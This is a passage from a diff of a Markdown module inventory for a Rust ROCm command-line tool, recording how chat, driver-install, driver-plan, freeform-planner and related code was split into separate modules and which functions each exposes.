the host snapshot behind the internal bridge surface (`build_codex_bridge_snapshot`, `build_codex_bridge_gpu_snapshot`, `builtin_codex_bridge_engine_inventory`) and the table of built-in engine ids it derives the engine list from (`builtin_engine_inventory`, a separate table from `main.rs`'s `engine_inventory`; the two are not merged). All four are `pub(crate)`: [`main.rs`](../apps/rocm/src/main.rs)'s `dispatch()` calls `build_codex_bridge_snapshot` through a re-import, [`chat.rs`](../apps/rocm/src/chat.rs)'s internal MCP tools reach the first three as `crate::` through the same re-import, and a `main.rs` test checks `--engine`'s help against `builtin_engine_inventory`. It has no tests of its own. -- [`chat.rs`](../apps/rocm/src/chat.rs) — full domain extraction (Phase 6d, ROCMAI-88), mirrors [`providers.rs`](../apps/rocm/src/providers.rs). Owns the chat/MCP-bridge cluster's types (`ChatRocmCommandAction`, `DeterministicModelRecipe`, `DeterministicServiceRow`, `DeterministicEngineRow`, and others — all module-private except `ChatToolApprovalRequest`, reached by `dash_seam.rs` as `chat_tool_approval_request`'s return type, and `ChatRocmCommandAction`, read by `driver_install.rs`'s test module), its validation/approval/execution logic (`validate_chat_tool_call` and the `validate_chat_*_tool_call` family), deterministic tool-output summarization (including `render_services_tool_result_text`), and the MCP tool-bridge entry points (`run_internal_mcp_call` and its helpers). Callers in other modules, production and test-only, reach it through the `chat::` module boundary. As a child module of the crate root (`mod chat;` in `main.rs`), Rust's module-privacy rule already makes most of `main.rs`'s private helpers visible to `chat.rs` without any visibility change, when `chat.rs` calls into `main.rs`. The other direction needs real widening: `chat.rs`'s own functions reached from other modules — `run_internal_mcp_call` (a production call from `main.rs`), `rocm_chat_tool_requested_args` (reached only by `runtime_install_finalize.rs`'s own test module), among others — stay `pub(crate)`; the third PR's visibility audit tightened every other function to module-private, so each function still `pub(crate)` has a confirmed external caller, production or test-only. The cluster's regression tests live in `chat.rs`'s own `mod tests`, moved out of `main.rs`'s shared `mod tests` block across the second and third PRs; `serve_negative_sampling_space_form_reaches_range_validator`, a shared clap value-parser wiring test living alongside its sibling command-parsing tests, stays in `main.rs`; the four structural checks that read [`chat_cmd.rs`](../apps/rocm/src/chat_cmd.rs)'s source for the `Command::Chat` handler's wiring (`command_chat_interactive_routes_to_dash_run_chat_not_tui`, `command_chat_interactive_notes_dropped_provider_flag`, `command_chat_honors_chat_mock_and_keeps_prompt_passthrough`, `command_chat_reads_prompt_from_piped_stdin`) live in that module's own `mod tests`. +- [`chat.rs`](../apps/rocm/src/chat.rs) — full domain extraction (Phase 6d, ROCMAI-88), mirrors [`providers.rs`](../apps/rocm/src/providers.rs). Owns the chat/MCP-bridge cluster's types (`ChatRocmCommandAction`, `DeterministicModelRecipe`, `DeterministicServiceRow`, `DeterministicEngineRow`, and others — all module-private except `ChatToolApprovalRequest`, reached by `dash_seam.rs` as `chat_tool_approval_request`'s return type, and `ChatRocmCommandAction`, read by `driver_plan.rs`'s test module), its validation/approval/execution logic (`validate_chat_tool_call` and the `validate_chat_*_tool_call` family), deterministic tool-output summarization (including `render_services_tool_result_text`), and the MCP tool-bridge entry points (`run_internal_mcp_call` and its helpers). Callers in other modules, production and test-only, reach it through the `chat::` module boundary. As a child module of the crate root (`mod chat;` in `main.rs`), Rust's module-privacy rule already makes most of `main.rs`'s private helpers visible to `chat.rs` without any visibility change, when `chat.rs` calls into `main.rs`. The other direction needs real widening: `chat.rs`'s own functions reached from other modules — `run_internal_mcp_call` (a production call from `main.rs`), `rocm_chat_tool_requested_args` (reached only by `runtime_install_finalize.rs`'s own test module), among others — stay `pub(crate)`; the third PR's visibility audit tightened every other function to module-private, so each function still `pub(crate)` has a confirmed external caller, production or test-only. The cluster's regression tests live in `chat.rs`'s own `mod tests`, moved out of `main.rs`'s shared `mod tests` block across the second and third PRs; `serve_negative_sampling_space_form_reaches_range_validator`, a shared clap value-parser wiring test living alongside its sibling command-parsing tests, stays in `main.rs`; the four structural checks that read [`chat_cmd.rs`](../apps/rocm/src/chat_cmd.rs)'s source for the `Command::Chat` handler's wiring (`command_chat_interactive_routes_to_dash_run_chat_not_tui`, `command_chat_interactive_notes_dropped_provider_flag`, `command_chat_honors_chat_mock_and_keeps_prompt_passthrough`, `command_chat_reads_prompt_from_piped_stdin`) live in that module's own `mod tests`. - [`chat_cmd.rs`](../apps/rocm/src/chat_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: `rocm chat`'s command handler (`run_chat_command`, the body of the `Command::Chat` arm of `dispatch()`), which hands off to the dashboard chat (`dash::run_chat`) in a terminal with no `--prompt` and otherwise prints the reply or status screen through `chat::render_chat_prompt_text`/`chat::render_chat_text`. It is a module of its own, not part of [`chat.rs`](../apps/rocm/src/chat.rs), because it calls into both `chat.rs` and [`dash.rs`](../apps/rocm/src/dash.rs) while `dash.rs` already calls into `chat.rs`; this module depends on both and neither depends on it. `Provider` and `ChatInferenceParams` stay in [`main.rs`](../apps/rocm/src/main.rs); `run_chat_command` is `pub(crate)` and re-imported there for `dispatch()`. Four source-text tests in this module's own `mod tests` read this file and assert on the handler's text, so a rename of the function or of the calls they look for has to be made there too. - [`chat_host_facts.rs`](../apps/rocm/src/chat_host_facts.rs) — full domain extraction. - [`cli_audit.rs`](../apps/rocm/src/cli_audit.rs) — mechanical relocation, no owned types: the CLI audit and lifecycle log (`record_cli_audit_event`, plus the helpers behind it that write `logs/cli-lifecycle.log` and the per-action files under `logs/cli/`). Its production code depends only on `rocm-core`. `record_cli_audit_event`, `cli_lifecycle_log_path` and `sanitize_log_value` are `pub(crate)` and reached from other modules as `crate::` through a re-import in [`main.rs`](../apps/rocm/src/main.rs); every other item is private. The two regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::`. @@ -43,7 +43,9 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`dash.rs`](../apps/rocm/src/dash.rs) — full domain extraction. - [`dash_seam.rs`](../apps/rocm/src/dash_seam.rs) — full domain extraction. - [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: the command handlers for `rocm diagnose` and `rocm fix` (`diagnose()`, `fix()`) and the report step behind `rocm diagnose --report` (`show_prepared_report`, `perform_delivery`, `established_entry`). `diagnose()` and `fix()` are `pub(crate)` and re-imported in [`main.rs`](../apps/rocm/src/main.rs) for `dispatch()`; the other three functions are private. `diagnose()` gets its `--model` verdict from [`model_fit.rs`](../apps/rocm/src/model_fit.rs), and `fix()` returns a failing exit code through `FixExitCode`, which stays in `main.rs` with the other exit-code plumbing. The report and delivery regression tests live in this module's own `mod tests`; the exit-code tests stay in `main.rs`. -- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, plus the driver-plan/state types. +- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, running an approved plan's shell commands, and the install state persisted to `state.json` (`DriverInstallState`, `DriverReconciliationState` and the passive-check types). The plan it runs lives in [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs), which this module imports from and which does not import from it; the os-release the plan is built from comes from `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs). Its `pub(crate)` surface is `install_driver` and `reconcile_driver_install`, `DriverInstallResult` and `DriverInstallError` (read from `install_cmd.rs`'s `install()`), `driver_install_state_path`, and a re-export of `host_install_driver_only_reports` for [`chat.rs`](../apps/rocm/src/chat.rs) and [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs). +- [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs) — full domain extraction, crate-level (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the plan `rocm install driver` builds and prints. It owns the model (`DriverInstallPlan` with `execution_commands`, `DriverPlanCommand`, `DriverCommandPhase`, and `PrivilegeEscalation`, which decides whether a generated shell line gets a `sudo ` prefix), `render_driver_install_plan` with its approval label, the helpers the builders share (`driver_command`, `driver_root_preflight_checks`, `resolve_shell_default_template`, `is_safe_shell_token`), and the builders: `build_driver_install_plan_read`, which `install_driver` calls with the real host's os-release, and `build_driver_install_plan_at` beneath it, with the apt, dnf and SLES plans, the `ID_LIKE` fallback, the repository URL helpers, `resolve_repo_version_expr` (the `ROCM_CLI_AMDGPU_DRIVER_VERSION` override and the retired version variables it refuses), and the refusal plans for an unreadable os-release or an invalid override. It also owns `install_driver_only_reports_on`/`host_install_driver_only_reports` (true on native Windows, where the plan only reports); `driver_install.rs` re-exports the latter. It declares the child module [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) and re-exports its `wsl_rocdxg_driver_plan`. Production code in this file uses only `std` and `rocm_core`, and nothing here depends on `driver_install.rs`. The model types and their fields, `execution_commands`, `PrivilegeEscalation::detect`, `driver_command`, `render_driver_install_plan`, `build_driver_install_plan_read`, `install_driver_only_reports_on` and `host_install_driver_only_reports` are `pub(crate)`, as is `invalid_driver_version_override_plan`, which a test that stays in `driver_install.rs` builds a plan with; the rest is private. Its test module is `pub(crate)` so `driver_install.rs`'s tests can reuse its `test_examine` and `os_release_found` helpers. It holds the plan-builder tests, including the one that keeps the supported-distro matrix in step with `dkms_driver_plan_is_supported` in `rocm-core`, and the tests of the template resolver and the shell-token filter. +- [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) — full domain extraction, a child of `driver_plan.rs` that depends on the plan model, `driver_command`, `driver_root_preflight_checks` and `resolve_shell_default_template` in its parent, and on `truthy_env` in [`therock.rs`](../apps/rocm/src/therock.rs) (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the WSL2 rocDXG plan. `wsl_rocdxg_driver_plan` builds the plan that installs the `rocdxg-roct` package, `resolve_rocdxg_verification` decides how that download is authenticated (a supplied digest, the digest pinned for the version in `ROCDXG_PINNED_DIGESTS`, or the explicit opt-out), and `wsl_rocdxg_refusal_plan` is the plan that installs nothing and says why when it cannot be authenticated or the version is not a well-formed package version. `ROCDXG_PINNED_DIGESTS` is the trust anchor an unattended root install is checked against, so a change to it is a security-relevant diff; it moved byte for byte. `wsl_rocdxg_driver_plan` is `pub(crate)` and re-exported by `driver_plan.rs` (its builders call it, and tests in `driver_install.rs` use it as a plan fixture); everything else in production code is private. Its tests are the `wsl_rocdxg_*` plan tests, including the one that runs the generated digest step against a real file on Unix. The test-only `scoped_rocdxg_env` helper that clears the rocDXG environment lives here too, `pub(super)` for the plan-builder tests in `driver_plan.rs`. - [`endpoint_keys.rs`](../apps/rocm/src/endpoint_keys.rs) — mechanical relocation, no owned types, reached by qualified path. - [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-213): resolving an engine's binary path (`resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `find_engine_plugin_binary`), the stdio request/response envelope used to talk to an external engine binary or the in-process built-in handler (`engine_request`, `engine_request_with_env_root`, `decode_engine_response`, the `ScopedEnvVar`/`with_scoped_builtin_engine_env` env-scoping helpers and the `BUILTIN_ENGINE_ENV_LOCK` mutex they serialize on, `builtin_engine_request`, `run_builtin_engine_stdio`), and the built-in HTTP-serving path (`builtin_engine_available`, `run_builtin_engine_serve_http`, `builtin_engine_serve_http_args`). Two items that sit physically inside this span in `main.rs` stayed there instead of moving: `missing_packaged_engine_reason` has callers outside the cluster (plus its own test), and `impl From for WatcherMode` is unrelated clap-arg conversion that merely happened to be interleaved between `find_engine_plugin_binary` and `engine_request`. `resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `engine_request`, `engine_request_with_env_root`, `builtin_engine_available`, and `builtin_engine_serve_http_args` are `pub(crate)` and read from other modules (for example [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs), [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) and [`service_launch.rs`](../apps/rocm/src/service_launch.rs)), not from `main.rs`. `run_builtin_engine_stdio` and `run_builtin_engine_serve_http` are `pub(crate)` and reached directly from `main.rs`'s `dispatch()` (the `Command::EngineStdio` and `__engine-serve-http` arms); `find_engine_plugin_binary`, `decode_engine_response`, `with_scoped_builtin_engine_env`, `builtin_engine_request`, and `ScopedEnvVar` have no callers outside this module and stay private. - [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) — mechanical relocation, owns types (Phase 6f, ROCMAI-215): deciding which runtime/env a `serve`/`engines install` invocation resolves to (`EngineSelection`, `resolve_engine_selection`, `validate_engine_selection_runtime`, `single_ready_runtime_key`, `resolve_runtime_selector_to_exact_key`), small argv-building helpers used when relaunching a managed engine (`optional_arg`, `engine_recipe_json_arg`, `parse_engine_recipe_json_arg`, `daemon_run_argv`, `managed_service_launcher_path`), the `ROCM_CLI_*` environment variables every managed child inherits (`app_path_env_vars`/`app_path_env_var_values`/`app_path_env_var_refs`/`apply_app_path_env`), and polling a freshly launched service until it can answer inference requests (`wait_for_service_http_ready`, `wait_for_service_http_ready_with_progress`, `service_http_readiness_paths`, `http_get_local_service`, `http_post_local_service_json`, `service_http_readiness_response_ready`, `lemonade_health_ready_for_model`, `model_list_ready_for_model`, `service_model_gpu_ready`, `service_model_reports_rocm_backend`, `service_model_names_match`). `const fn status_for_readiness` sits physically interleaved in this span in `main.rs` but stayed there instead of moving — it has callers outside this cluster ([`service_launch.rs`](../apps/rocm/src/service_launch.rs) and [`services_text.rs`](../apps/rocm/src/services_text.rs)'s `record_restart_readiness`, which `restart_internal_managed_service_with` calls), so it stays a shared crate-root function, reached only from this module's own tests, via `use crate::status_for_readiness;`. Which items are `pub(crate)` and who calls them is documented in the module's own doc comment rather than repeated here. The cluster's regression tests live in the module's own `mod tests`. What remains in `main.rs` immediately after this cluster is `treat_as_natural_language`, dispatch-adjacent natural-language-invocation routing left over from an earlier phase (ROCMAI-87), explicitly out of scope and untouched by this split. @@ -52,7 +54,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs) — mechanical relocation (Phase 6f, ROCMAI-208, folding Phase 6f/ROCMAI-86 closed): the launch-summary/examine text surfaces (`render_launch_summary`, `render_examine_text`, `render_examine_text_with_paths`, `examine_human_report`, `render_examine_plain_header`, `plain_status_label`), the engine-inventory listing shared by `rocm engines` and `rocm examine` (`write_default_engine_legend`, `render_engine_inventory_text_with_paths`, `append_examine_runtime_state`, `append_examine_engine_inventory`), and the model-catalog rendering behind `rocm model` (alias `models`) and `rocm model --verbose` (`model_catalog_platform_heading`, `render_model_registry_text_with_context_and_host`, `model_recipe_memory_label`, `model_recipe_gpu_fit_label`, `render_model_registry_verbose_text_with_context_and_host`, `model_catalog_header`, `append_model_recipe_registry_source`, `append_model_recipe_metadata_lines`, `append_model_engine_recipe_settings_lines`, `format_list_or_none`, `format_string_map_or_none`, `append_model_artifact_lines`, `append_artifact_source_policy_lines`, `artifact_source_policy_label`, `format_bytes`, `append_model_host_ram_fit_lines`, `append_model_fit_lines`, `append_manual_alternative_lines`, `manual_alternative_recommendations`, `recipe_is_manual_fit`, `append_model_engine_support_lines`, `recipe_display_ref`, `preferred_engine_action_target`, `model_registry_reason`, `format_gib`, `append_engine_detect_summary`, `friendly_engine_runtime_kind`, `friendly_engine_detect_notes`, `friendly_engine_detect_note_fallback`, `engine_runtime_status_label`, `engine_runtime_is_native_windows_unsupported`). Two items physically interleaved in this span in `main.rs` moved with it rather than staying behind, since neither has a caller outside this cluster: the `DEFAULT_ENGINE_MARKER` constant (shared by both engine-inventory renderers so the two copies cannot drift apart) and `model_registry_adapter_availability_note` (read only from `append_model_engine_support_lines` and this module's own test); both stay private. `render_config_text` and `telemetry_policy_summary` sat immediately adjacent to this cluster's end boundary in `main.rs` and were explicitly out of scope, so that split left them where they were; they now live in [`config_cmd.rs`](../apps/rocm/src/config_cmd.rs). `dispatch()` calls directly into this module at two points — `render_model_registry_verbose_text_with_context_and_host` and `render_model_registry_text_with_context_and_host` — re-imported via `use crate::examine_report_text::{...};`; [`examine_cmd.rs`](../apps/rocm/src/examine_cmd.rs)'s `examine()`, which the `Command::Examine` arm calls, imports and calls `examine_human_report` itself. `main.rs`'s own `launch_default` calls `render_launch_summary` directly, also re-imported there. `render_examine_text`, `render_examine_text_with_paths`, and `render_model_registry_verbose_text_with_context_and_host` are also `pub(crate)`, read from [`chat.rs`](../apps/rocm/src/chat.rs)'s deterministic tool-output summaries; `render_engine_inventory_text_with_paths` is also read from `chat.rs` and from `engines_cmd.rs`'s `render_engine_inventory_text`; `append_examine_runtime_state` is also `pub(crate)`, read only from [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)'s own test module, so `main.rs`'s re-import of it is itself `#[cfg(test)]` rather than carrying an otherwise-unused import into a non-test build; `format_bytes` is also `pub(crate)`, read from [`storage.rs`](../apps/rocm/src/storage.rs)'s cache-size reporting and [`automations.rs`](../apps/rocm/src/automations.rs)'s plain-language summaries. Every other item in this list has no caller outside this module and stays private. This cluster also reaches three items that stayed behind in `main.rs` because they already had callers outside it: `engine_inventory()` (also read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)), `engine_ruled_out_by_platform` (also read from [`model_fit.rs`](../apps/rocm/src/model_fit.rs)'s `assess_model_for_host`; it has since moved there and is re-imported in `main.rs`), and `missing_packaged_engine_reason` (already noted in [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs)'s entry above as having callers outside that cluster, plus its own test — this cluster is one of them) — all three reached via `use crate::{...};`. The cluster's regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::` and `write_test_pip_runtime`/`runtime_manifest_path` through `crate::test_support::`/`crate::runtimes_cmd::`, the same way other mechanically relocated modules do. Two tests interleaved among this cluster's tests in `main.rs`'s old shared `mod tests` stayed behind because their primary subject is unrelated: `missing_packaged_engine_reason`'s own test and the whole-command-tree ASCII-help walk (two CLI-lifecycle-audit-log tests that were also left there have since moved to [`cli_audit.rs`](../apps/rocm/src/cli_audit.rs)). - [`freeform_answer.rs`](../apps/rocm/src/freeform_answer.rs) — mechanical relocation, no owned types: the answers a freeform request can get without running a command — `render_freeform_read_only_answer`, which answers a single approval-free `examine`, `comfyui status` or `comfyui logs` action, and `render_freeform_examine_answer`, the plain-language ROCm status it prints for `examine`. `run_freeform` in [`main.rs`](../apps/rocm/src/main.rs) is the only caller of the first, which is `pub(crate)` and re-imported there; the second is private. Besides `chat.rs` (`any_substring`), it depends on `comfyui.rs`, `runtimes_cmd.rs` and `therock.rs`, none of which calls back into it. No unit test calls either function directly. - [`freeform_execution.rs`](../apps/rocm/src/freeform_execution.rs) — mechanical relocation, dispatch-adjacent, owns a `pub(crate)` type (as of Phase 6e's follow-up, ROCMAI-726; see the Phase 6a variant note above for the owned-types pattern). Holds the freeform natural-language planner's plan-*execution*/consent half that [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs) below deliberately left out: `validate_freeform_execution_action()`, `prepare_freeform_execution()`, `apply_freeform_execution_consent()`, `render_freeform_execution_header()`, and the `pub(crate)` `FreeformExecution` struct that `prepare_freeform_execution` returns and `render_freeform_execution_header` consumes. `main.rs`'s `execute_freeform_next_action()` and `run_freeform()` stay in `main.rs` — both are dispatch-level, not part of deciding whether a plan's next action is safe to execute — and `execute_freeform_next_action()` calls in via the unqualified re-import `use crate::freeform_execution::{prepare_freeform_execution, render_freeform_execution_header};` (`run_freeform()` only calls `execute_freeform_next_action()`, never this module directly), matching [`driver_install.rs`](../apps/rocm/src/driver_install.rs)'s dispatch-adjacent form rather than `freeform_planner.rs`'s own qualified-path form. `prepare_freeform_execution` takes the already-built `plan` by value rather than rebuilding it from `request`/`paths`/`config` (ROCMAI-725's single-build guarantee, inherited unchanged from `main.rs`); `prepare_freeform_execution`/`render_freeform_execution_header` are `pub(crate)` for that cross-module call; `FreeformExecution` was already `pub(crate)` (read directly by `main.rs` and this module's own tests); `validate_freeform_execution_action`/`apply_freeform_execution_consent` have no caller outside this module and stay module-private, unchanged from before the move. The cluster's six regression tests moved out of `main.rs`'s shared `mod tests` into this module's own `mod tests`, inheriting the qualified `freeform_planner::` path they already used to reach `freeform_planner.rs`'s items as `main.rs`'s former tests — this module reaches in from outside using the same qualified path `main.rs` and `providers.rs`'s tests use (unlike `chat.rs`/`comfyui.rs`, which import it unqualified). -- [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs) — full domain extraction (Phase 6e, ROCMAI-87). Owns the freeform natural-language planner cluster's types (`StructuredRequestPlan`, `PlannerIntent`, `PlannedToolCall`, `FreeformPlanAction`, `ProviderPlannerResponse`, `ProviderPlannerToolCall`, all module-private except `FreeformPlanAction`, `StructuredRequestPlan` and `PlannedToolCall`, which are `pub(crate)`), the deterministic plan builder (`build_freeform_plan*`), the provider-assisted path (`resolve_freeform_plan_with_provider`, `build_provider_planner_prompt`, `provider_planner_response_to_plan`, `validate_provider_planner_tool_call`), and plan rendering (`render_structured_request_plan`). [`main.rs`](../apps/rocm/src/main.rs) calls `build_freeform_plan_with_context`/`render_structured_request_plan` directly for the dispatch/review flow ([`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs)'s `render_launch_summary` → `host_default_engine` is another call into this module, unrelated to planning: bare `rocm`'s non-interactive launch summary), while [`freeform_execution.rs`](../apps/rocm/src/freeform_execution.rs) above calls `plan_next_action`/`format_structured_tool_call` for the execution flow and reads `FreeformPlanAction`/`StructuredRequestPlan` by type for its execution-validation functions — those live there, not here, because they decide whether a plan's next action is safe to *execute*, a dispatch-adjacent concern distinct from *building* the plan; `main.rs`'s `run_freeform` builds a plan exactly once via `build_freeform_plan_with_context` and threads that same value through `execute_freeform_next_action` to `prepare_freeform_execution` rather than rebuilding it (ROCMAI-725: building a plan can call a configured cloud `planner_provider`, which is not guaranteed deterministic, so a second independent build could silently disagree with the first). [`chat.rs`](../apps/rocm/src/chat.rs)'s `natural_language_plan` MCP tool gets the same single-build guarantee from `plan_freeform_request_with_context`, which builds once and returns both the rendered text and the next action; `chat.rs` also calls `format_structured_tool_call` directly, like [`comfyui.rs`](../apps/rocm/src/comfyui.rs) does, and its `validate_chat_rocm_command_safety` reads `serve_args_request_cpu_device` directly as a no-CPU-fallback safety check on provider-proposed `serve` args. `host_default_engine`, `build_freeform_plan_with_context`, `render_structured_request_plan`, `plan_next_action`, `plan_freeform_request_with_context`, `provider_planner_response_to_plan`, `format_structured_tool_call`, and `serve_args_request_cpu_device` are `pub(crate)` for these reasons, as are `infer_engine_from_request` (read from `chat.rs`) and `plan_driver_request` (read from [`driver_install.rs`](../apps/rocm/src/driver_install.rs)'s test module); `freeform_plan_next_action` and `render_freeform_plan` are test-only (`#[cfg(test)]`) and `FreeformPlanAction` was already `pub(crate)` before the split. `parse_freeform_invocation`/`should_treat_as_freeform` (deciding whether an invocation is freeform at all) stay in `main.rs`, a dispatch-level concern outside both this module and `freeform_execution.rs`. The cluster's regression tests live in `freeform_planner.rs`'s own `mod tests`; the handful of `main.rs` tests that exercise the invocation classifier/clap-suggestion-avoidance stay in `main.rs`'s shared `mod tests`, since neither is specific to this module or to `freeform_execution.rs` (and neither touches `freeform_planner::` at all), and the ROCMAI-725 regression tests proving the single-build guarantee live in `providers.rs`'s `mod tests` (reusing its mock local-provider server), reaching this module's items through the qualified `freeform_planner::` path like any other external caller. +- [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs) — full domain extraction (Phase 6e, ROCMAI-87). Owns the freeform natural-language planner cluster's types (`StructuredRequestPlan`, `PlannerIntent`, `PlannedToolCall`, `FreeformPlanAction`, `ProviderPlannerResponse`, `ProviderPlannerToolCall`, all module-private except `FreeformPlanAction`, `StructuredRequestPlan` and `PlannedToolCall`, which are `pub(crate)`), the deterministic plan builder (`build_freeform_plan*`), the provider-assisted path (`resolve_freeform_plan_with_provider`, `build_provider_planner_prompt`, `provider_planner_response_to_plan`, `validate_provider_planner_tool_call`), and plan rendering (`render_structured_request_plan`). [`main.rs`](../apps/rocm/src/main.rs) calls `build_freeform_plan_with_context`/`render_structured_request_plan` directly for the dispatch/review flow ([`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs)'s `render_launch_summary` → `host_default_engine` is another call into this module, unrelated to planning: bare `rocm`'s non-interactive launch summary), while [`freeform_execution.rs`](../apps/rocm/src/freeform_execution.rs) above calls `plan_next_action`/`format_structured_tool_call` for the execution flow and reads `FreeformPlanAction`/`StructuredRequestPlan` by type for its execution-validation functions — those live there, not here, because they decide whether a plan's next action is safe to *execute*, a dispatch-adjacent concern distinct from *building* the plan; `main.rs`'s `run_freeform` builds a plan exactly once via `build_freeform_plan_with_context` and threads that same value through `execute_freeform_next_action` to `prepare_freeform_execution` rather than rebuilding it (ROCMAI-725: building a plan can call a configured cloud `planner_provider`, which is not guaranteed deterministic, so a second independent build could silently disagree with the first). [`chat.rs`](../apps/rocm/src/chat.rs)'s `natural_language_plan` MCP tool gets the same single-build guarantee from `plan_freeform_request_with_context`, which builds once and returns both the rendered text and the next action; `chat.rs` also calls `format_structured_tool_call` directly, like [`comfyui.rs`](../apps/rocm/src/comfyui.rs) does, and its `validate_chat_rocm_command_safety` reads `serve_args_request_cpu_device` directly as a no-CPU-fallback safety check on provider-proposed `serve` args. `host_default_engine`, `build_freeform_plan_with_context`, `render_structured_request_plan`, `plan_next_action`, `plan_freeform_request_with_context`, `provider_planner_response_to_plan`, `format_structured_tool_call`, and `serve_args_request_cpu_device` are `pub(crate)` for these reasons, as are `infer_engine_from_request` (read from `chat.rs`) and `plan_driver_request` (read from [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs)'s test module); `freeform_plan_next_action` and `render_freeform_plan` are test-only (`#[cfg(test)]`) and `FreeformPlanAction` was already `pub(crate)` before the split. `parse_freeform_invocation`/`should_treat_as_freeform` (deciding whether an invocation is freeform at all) stay in `main.rs`, a dispatch-level concern outside both this module and `freeform_execution.rs`. The cluster's regression tests live in `freeform_planner.rs`'s own `mod tests`; the handful of `main.rs` tests that exercise the invocation classifier/clap-suggestion-avoidance stay in `main.rs`'s shared `mod tests`, since neither is specific to this module or to `freeform_execution.rs` (and neither touches `freeform_planner::` at all), and the ROCMAI-725 regression tests proving the single-build guarantee live in `providers.rs`'s `mod tests` (reusing its mock local-provider server), reaching this module's items through the qualified `freeform_planner::` path like any other external caller. - [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs) — mechanical relocation, owns types (Phase 6f, ROCMAI-214): `--device`/`--gpu` parsing (`parse_device_policy`, `parse_gpu_selection`, `parse_gpu_indices_arg`), the managed-launch-lock GPU selection (`select_gpu_indices_under_launch_lock`, `validate_pinned_gpu_index`, `effective_gpu_count`, `auto_select_gpu_indices`, `select_auto_gpu_index`, `busy_gpu_indices`), per-GPU VRAM telemetry (the `GpuVramUsage` type, `gpu_vram_usage`, `simulated_low_vram_usage`, `gpu_vram_usage_amd_smi`, `gpu_vram_usage_sysfs`, `read_drm_vram_usage`, `read_sysfs_u64`, `drm_device_is_amd`, `parse_gpu_vram_usage`), and the serve-plan low-VRAM warning (`gpu_low_memory_warning`, `vram_capacity_is_meaningful`, `serve_gpu_low_memory_warning`), plus the best-effort `amd-smi`-based GPU count (`detect_gpu_count`). `const fn device_policy_name` sits immediately after this cluster's last function in the original file but stayed in `main.rs` rather than moving — it already had callers outside the cluster (`engine_ipc.rs`, `service_launch.rs`, `serve_cmd.rs`) plus its own test. `GpuVramUsage` (and its fields), `gpu_vram_usage`, `parse_gpu_indices_arg`, `serve_gpu_low_memory_warning`, and `vram_capacity_is_meaningful` are `pub(crate)` and read from [`model_fit.rs`](../apps/rocm/src/model_fit.rs) (`classify_accelerator_memory`, `host_accelerator_memory`) [`main.rs`](../apps/rocm/src/main.rs) (the `dispatch()` `Command::EngineServeHttp` arm) and [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) (`collect_serve_notes`); `detect_gpu_count`, `gpu_vram_usage`, `parse_device_policy`, `parse_gpu_selection`, `select_gpu_indices_under_launch_lock`, `serve_gpu_low_memory_warning`, and `validate_pinned_gpu_index` are also `pub(crate)` and read from [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs); `parse_device_policy` is also read from [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs)'s `run_builtin_engine_serve_http` and, as of Phase 6f (ROCMAI-209), from [`services_text.rs`](../apps/rocm/src/services_text.rs)'s `restart_child_argv` (moved out of `main.rs` in that same phase). `effective_gpu_count`, `auto_select_gpu_indices`, `select_auto_gpu_index`, `simulated_low_vram_usage`, `gpu_vram_usage_amd_smi`, `gpu_vram_usage_sysfs` (both the Linux and non-Linux `cfg` variants), `read_drm_vram_usage`, `read_sysfs_u64`, `drm_device_is_amd`, `parse_gpu_vram_usage`, `gpu_low_memory_warning`, and `busy_gpu_indices` have no callers outside this module and stay private. The cluster's regression tests live in `gpu_policy.rs`'s own `mod tests`; two small test-only fixture builders (`vram`, `host_gpu`) are duplicated rather than shared, since `serve_cmd.rs`'s own `serve_notes_pair_low_vram_with_the_vllm_utilization_hint` (testing `collect_serve_notes`) needs them too. - [`install_cmd.rs`](../apps/rocm/src/install_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: `rocm install`'s command handler (`install()`, for the `sdk` and `driver` targets), the `--version`/`--build-date` selector parsing and display it uses (`therock_install_version_selector`, `therock_install_version_selector_display`) and `sdk_install_request`, which maps the parsed `install sdk` arguments onto a `therock::SdkInstallRequest` and moved here from 